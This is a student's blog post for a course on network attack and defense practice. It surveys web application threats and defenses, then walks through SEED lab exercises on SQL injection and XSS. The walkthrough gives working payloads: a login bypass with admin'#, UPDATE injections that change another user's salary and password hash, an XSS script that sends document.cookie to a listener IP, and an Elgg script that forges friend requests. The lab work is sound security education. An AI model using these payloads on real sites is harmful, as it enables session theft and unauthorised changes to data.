20199113 2019-2020-2 《网络攻防实践》第十一次作业

20199113 2019-2020-2 《网络攻防实践》第十一次作业



1.实践内容

Web应用程序体系结构及其安全威胁

Web应用体系结构

  • Web应用程序:一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言编写(JavaScript、HTML等),或能够在浏览器控制的环境中运行,依赖浏览器对应用程序渲染执行。

  • 浏览器:使用HTTP/HTTPS协议,HTML语言和web服务器进行交互,获取web服务器上的信息和应用服务。

  • Web服务器:web服务器软件通常被描述为HTTP守护程序,接收Web客户端对资源的请求,在这些请求上执行一些基本的解析处理以确定资源的存在,然后将它传送给web应用程序来执行,待web应用程序执行完逻辑并返回响应时,web服务器在将这个响应返回给web客户端,在浏览器上进行本地执行、渲染和展示。

  • web应用程序:处于服务端的业务逻辑是web应用的核心。

  • 数据库:是web应用存储数据的地方,数据层也作为web应用程序多级结构中的最后一层。

  • 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/响应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。


Web应用安全威胁

  • 针对浏览器和终端用户的 Web 浏览安全威胁:具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
  • 针对传输网络的网络协议安全威胁:如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
  • 系统层安全威胁:Web 站点的宿主操作系统,如Windows Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。
  • Web服务器软件安全威胁:Web服务器软件也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
  • Web应用程序安全威胁:在使用 ASP、PHP 等脚本编程语言实现 Web 应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致 Web 应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
  • Web 数据安全威胁:Web 站点中在Web 应用程序后台存储的关键数据内容,以及Web 客户输入的数据内容,存在着被筋取、篡改及输入不良信息等威胁。


Web应用安全攻防技术概述

web应用的信息收集

  • 手工审查:手工浏览过程中,收集Web应用程序的静态和动态生成的页面、目录结构、辅助性文件、输入表单、查询参数字符串等信息。
  • 自动下载与镜像Web站点页面:Linux系统的lynx、wget和Windows系统上的TelePort Pro、Offline Explorer等镜像软件
  • 使用Google Hacking技术审查与探测Web应用程序:指使用Google搜索引擎或其他的Google应用,在Web站点中的配置、计算机代码包含数据中,寻找安全漏洞与敏感信息的计算机黑客技术。
    • 获取攻击入口点
    • 获取攻击所需信息
    • 探测安全漏洞
    • 获取敏感信息与数据
  • Web应用程序安全评估与漏洞检测:对目标应用程序各功能进行研究评估,理解其体系结构与设计思路,找出薄弱环节,总结对该应用的详细攻击步骤。常需要使用TamperData、Firebug等浏览器插件、Fiddler、WebScarab等免费工具集及IBM Rational AppScan、WebRaver等商业Web应用安全评估系统和漏洞扫描器。

攻击Web服务器软件

web服务器平台中的安全漏洞主要分为以下几大类:

  • 数据驱动的远程代码执行安全漏洞:Web服务器软件也面临缓冲区溢出、不安全指针、格式化字符串等一系列数据驱动安全漏洞的远程攻击渗透攻击。
  • 服务器功能拓展模块漏洞
  • 样本文件安全漏洞
  • 原代码泄露
  • 资源解析攻击

攻击web应用程序

将Web应用程序安全威胁从攻击技术角度分为:

  • 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等
  • 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等
  • 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺骗、跨站脚本攻击等
  • 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串等
  • 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等
  • 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善等

2010年TOP10 Web应用程序安全威胁类型依次为:代码注入攻击、XSS跨站脚本、不安全的身份认证和会话管理、不安全的直接对象引用、CSRF跨站请求伪造、不安全的配置、不安全的加密存储、未限制URL访问、不充分的传输层保护、及未经安全验证的重定向和前进链接


攻击Web数据内容

  • 安全敏感数据泄露
    • web服务器存在目录遍历漏洞或不安全的目录文件枚举配置
    • 利用web服务器的上传目录临时中转文件
    • 在web站点公开的文档资料中包含个人隐私、企业秘密
  • 网站篡改:利用特定攻击手段入侵网站后,将网站页面内容进行替换,表达入侵成功或某种观点诉求
  • 不良信息内容上传:网站被攻陷后可能成为不良信息的存储和中转仓库

web应用安全防范措施

  • Web站点网络传输安全设防措施
    • 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护
    • 通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议
    • 对关键的Web服务器,设置静态绑定MAC_IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网管位置部署防火墙与入侵检测系统对Web服务器实施
    • 保护与安全检测,采用冗长等机制来应对拒绝服务攻击
  • Web站点操作系统及服务安全设防安全措施
    • 对Web站点的操作系统与服务器软件进行及时的补丁更新
    • 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描
    • 采用提升系统与服务安全性的一般性设防措施
  • Web应用程序安全设防措施
    • 认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险
    • 对于必须提供用户交互、采用动态页面的Web站带你,尽量使用具有良好安全声誉及稳定技术支持力量的Web应用软件包
    • 只在必要时候自主或外包开发Web应用程序
    • 使用Web服务器软件提供的日志功能
  • Web站点数据安全设防措施
    • 提高网站内容维护人员的数据安全意识
    • 提升Web站点的安全性;掌握并善用Google搜索引擎技巧;对网站的安全配置进行检查;对接受用户交互的网站列出清单


SQL注入

  • 代码注入是针对web应用程序的主流攻击技术之一,用过利用web应用程序的输入验证不完善漏洞,使得web应用程序执行由攻击者所注入的恶意指令和代码,造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果。
    多类型的代码注入攻击中,SQL注入是目前最为常见、直观的一种攻击技术。
  • SQL注入攻击原理:是利用web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。被攻击的漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串转义字符,或者没有进行严格的类型判断,从而用户可以输入并执行一些非预期的SQL指令代码。是向web应用程序提供的用户输入接口输入一段惊心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得意执行完成非预期的攻击操作行为。

  • 代码注入根据攻击目标的不同又分为:
    1)恶意读取、修改与操纵数据库的SQL注入攻击;
    2)在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻击;
    3)在Web服务器恶意执行操作系统命令的Shell注入攻击;
    4)其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、XPath注入、XML注入、XQuery注入等。
    5)在这多种类型的代码注入攻击中,SQL注入是目前最常见的,也是较为直观的一种攻击技术。

SQL注入攻击步骤

  • 发现SQL注入点:
    当some_rec字段是整数型参数时,通常数据库SQL操作语句为"SELECT * FROM some WHERE some_rec=yyy",可将参数取值yyy设置为:
    • 将yyy修改为yyy' 造成SQL语句错误,动态页面会返回错误提示信息。
    • 将yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
    • 将yyy修改为yyy and 1=2 查询不到任何信息,应返回空白页面或错误提示信息。
      当some_rec字段是字符串型参数时,通常数据库SQL操作语句为"SELECT * FROM some_table WHERE some_rec='yyy'",可将参数取值yyy设置为:
    • 将yyy修改为yyy' 造成SQL语句错误,动态页面会返回错误提示信息。
    • 将yyy修改为yyy' and '1'='1 不对查询条件造成任何影响,返回正常页面。
    • 将yyy修改为yyy' and '1'='2 查询不到任何信息,应返回空白页面或错误提示信息。
  • 判断后台数据库类型
    • 利用数据库服务器的系统变量进行判断
    • 利用数据库服务器的系统表进行判断
  • 后台数据库中管理员用户口令字猜解
    • 猜解表名
    • 猜解字段名
    • 用户名与口令猜解
  • 上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
  • 本地权限提升:获得Web服务器软件启动的本地受限用户权限后,要进一步获得系统根用户权限,需要实施一些本地权限提升攻击
  • 利用数据库扩展存储过程执行Shell命令

SQL注入攻击工具

自动化SQL注入漏洞发现和攻击工具

  • Wposion:在动态Web文档中找出SQL注入漏洞
  • wieliekoek.pl:进行SQL注入漏洞探测
  • SPIKE Proxy工具:允许使用者对待注入的字符串进行定制,并执行自动化的SQL注入测试
  • SPI Toolkit工具包中包含”SQL Injector“自动化SQL注入测试工具

SQL注入渗透测试工具软件:CSC、NBSI、HDSI等


SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制;
  • 凡是来自外部的用户输入,必须进行完备检查;
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象;
  • 加强SQL数据库服务器的配置与连接。

XSS跨站脚本攻击

XSS跨站脚本攻击的最终目标是使用web应用程序的用户。XSS跨站脚本漏洞存在于web应用程序中,使得攻击者可以再web页面中插入恶意的HTML或JavaScript代码,当用户浏览网页时候,客户端浏览器就会解析和执行这些插入的代码,从而造成获取用户铭感信息、客户端渗透攻击等危害后果。
XSS攻击技术原理:根源是web应用程序对用户输入内容的安全验证与过滤不够完善,但是他最终的攻击目标是访问web服务器的用户。用户提交的内容包含HTML、JavaScript及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检查与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。
XSS攻击类型:持久性XSS攻击和非持久性XSS攻击
XSS攻击步骤
(1)攻击者构造出一个包含恶意脚本的bank.com登录请求链接,并通过Email/HTTP等方式将该攻击链接发送给其他bank.com网站用户;
(2)受害用户点击攻击链接后,将会把恶意链接中包含的恶意脚本当做用户名参数提交给bank.com的登录处理网页;
(3)由于bank.com登录处理页面存在XSS漏洞,将会在反馈的欢迎页面中包含恶意客户端脚本;
(4)攻击者的恶意客户端脚本在受害用户浏览器中执行,通常会驱动浏览器向攻击者发送会话令牌,如会话ID、Cookie信息等;
(5)攻击者获得用户会话令牌之后,就可以劫持用户会话,或者伪造用户登录bank.com,并可实施进一步攻击。


XSS攻击防范措施:

服务器端防范措施

  • 输入验证:Web应用程序应根据用户提交的数据进行严格的验证和过滤,需要验证的数据的潜在特性包括用户输入数据不是过长、仅包含某些合法字符、不能包含某些HTML与JavaScript关键标签符号、数据与一个特殊的正规表达式相匹配等。
  • 输出净化:Web应用程序对用户提交的数据进行HTML编码,以净化可能的恶意字符,将可能存在的恶意字符当做HTML文档内容而非结构来处理。
  • 消除危险的输入点:Web应用程序页面中有一些位置,在这里插入用户提交的输入就会造成极大的风险;因此,开发者应力求寻找其他方法执行必要的功能。

客户端防范措施:跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS攻击需要提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,此外也可采用非主流的安全浏览器如Chrome、Opera来尽量降低安全风险。



2、实践过程

SEED SQL注入实验

打开虚拟机终端,输入命令mysql -u root -p和密码seedubuntu,登录mysql,如下图所示。

输入use Users;选择使用的数据库

选定数据库后,输入show tables;显示该数据库中的所有表

见该数据库中只有credential一张表,之后输入 selet * from credential;查看表详情

打开Firefox浏览器,输入www.SEEDLabSQLInjection.com,显示登录窗口,输入一个表中不存在的用户名,返回登录失败界面,接着按F12,查看REQUEST URL,发现校验页面是unsafe_home.php,如图所示

输入地址/var/www/SQLInjection/unsafe_home.php打开unsafe_home.php查看其源码;

在SQL中,#为注释符号,也就是说#之后的全被注释掉了,那么我们登录就不需要输入密码了,然后我们进行验证

接下来的任务是利用命令行完成管理员的登录,我们要使用的事cURL,使用命令curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%23'就可以成功登录系统。通过返回的HTML代码,我们可以看到信息和我们上面看到的信息相同,证明我们的攻击时成功的。

在USERNAME中输入admin';update cerdential set address='NewYork' where name='Alice' #,试图修改信息,但是没有成功,这是MySql的防御措施,阻止了调用多条语句

对UPDATE语句的SQL注入攻击

我们可以看到在edit中它get了这个unsafe_edit_backend.php,那我们就看看它:vim /var/www/SQLInjection/unsafe_edit_backend.php

用类似前面管理员登录的方式登录Alice的账号,进去之后可以看到Alice的相关信息

在NickName输入',salary='8000' where Name='Alice'; #,如下图所示。

点击save,就会发现工资已经被修改成8000。

利用同样原理,我们可以修改任意用户的Salary,如在Nickname输入', salary='工资' where name='人名';#
修改其他人密码和上述实验相同,更改对应信息即可。不过系统中密码经过SHA-1加密,要先获取加密值
在控制台输入:echo -n '20199113'|sha1sum

再在任意用户Nickname中输入:

', Password='6b21297c88aa2f290c781224a6f22d2bf64e5354' where Name='Boby';#

2. SEED XSS跨站脚本攻击实验

首先,访问http://www.xsslabelgg.com,在登录框登录Alice账户,在Edit Profile界面,将 <script>alert('XSS');</script>放在Brief description中,如下图所示:
点击save回到主页就会弹出警告窗口,警告信息为XSS。

若要显示cookie,和上一步类似,只需将代码修改为<script> alert(document.cookie);</script>即可,如下图所示:

获得受害主机的cookie值
在个人简介中输入<script>document.write('<img src=http://192.168.200.4:5555?c='+escape(document.cookie) + ' >');</script>


成为受害者的朋友
让Boby自动添加Alice为好友,那么我们就需要Alice的id,接着再将下面代码插入到Alice的About me中
参考其他同学写的代码,将以下代码复制到boby自我介绍里

<script type="text/javascript"> window.onload = function () { var Ajax=null; var 
ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token; var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token; 
Ajax=new XMLHttpRequest(); Ajax.open("GET",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com");
 Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); Ajax.send(); } </script>

这时发现已经添加为好友

3.学习中遇到的问题及解决

SQL注入实验时,找不到edit profile入口

解决方案:调整网页分辨率

解决方案:安装新版本的seed

4.实践总结

感觉自己还是太菜了 感谢各位大佬的博客!

posted @ 2020-05-13 16:52  姚泽  阅读(253)  评论(0编辑  收藏  举报